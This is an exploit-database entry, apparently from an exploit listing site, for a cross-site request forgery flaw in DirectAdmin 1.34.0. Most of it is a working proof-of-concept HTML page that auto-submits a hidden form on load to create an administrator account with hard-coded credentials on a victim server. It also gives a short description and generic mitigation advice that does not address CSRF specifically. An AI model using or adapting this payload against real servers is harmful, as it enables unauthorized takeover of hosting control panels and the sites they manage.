header-logo
Suggest Exploit
vendor:
DirectAdmin
by:
SarBoT511
8.8
CVSS
HIGH
Cross-Site Request Forgery (XSRF)
352
CWE
Product Name: DirectAdmin
Affected Version From: 1.34.0
Affected Version To: 1.34.0
Patch Exists: NO
Related CWE: N/A
CPE: a:directadmin:directadmin:1.34.0
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: None
2020

DirectAdmin v1.34.0 XSRF Create Administrator Vulnerability

This exploit allows an attacker to create an administrator account on a DirectAdmin v1.34.0 server by sending a maliciously crafted HTTP request. The malicious request contains the username, email, and password of the account to be created. The request is sent to the CMD_ACCOUNT_ADMIN page, which is responsible for creating new accounts. This vulnerability can be exploited by an attacker to gain access to the server and perform malicious activities.

Mitigation:

The best way to mitigate this vulnerability is to ensure that all user input is properly validated and sanitized. Additionally, the server should be configured to only accept requests from trusted sources.
Source

Exploit-DB raw data:

# Vendor: [http://www.directadmin.com/]
# Code : [Create Administrator] :


<html>
<title>DirectAdmin v1.34.0 XSRF Create Administrator Vulnerability</title>
<!--!Set You'r victim By SarBoT511 !-->
<form name="reseller" action="http://site.com:2222/CMD_ACCOUNT_ADMIN" method="post">
<input type="hidden" name=action value=create>
<input type="hidden" name="username" value="sec-r1z"></br>
<input type="hidden" name="email" value="r1z@sec-r1z.com"></br>
<input type="hidden" name="passwd" value="123456789"></br>
<input type="hidden" name="passwd2" value="123456789"></br>
<input type="hidden" value="Submit">
<body onload="document.forms.reseller.submit();">
</html>

Navigation

Suggest Exploit

Services By CQR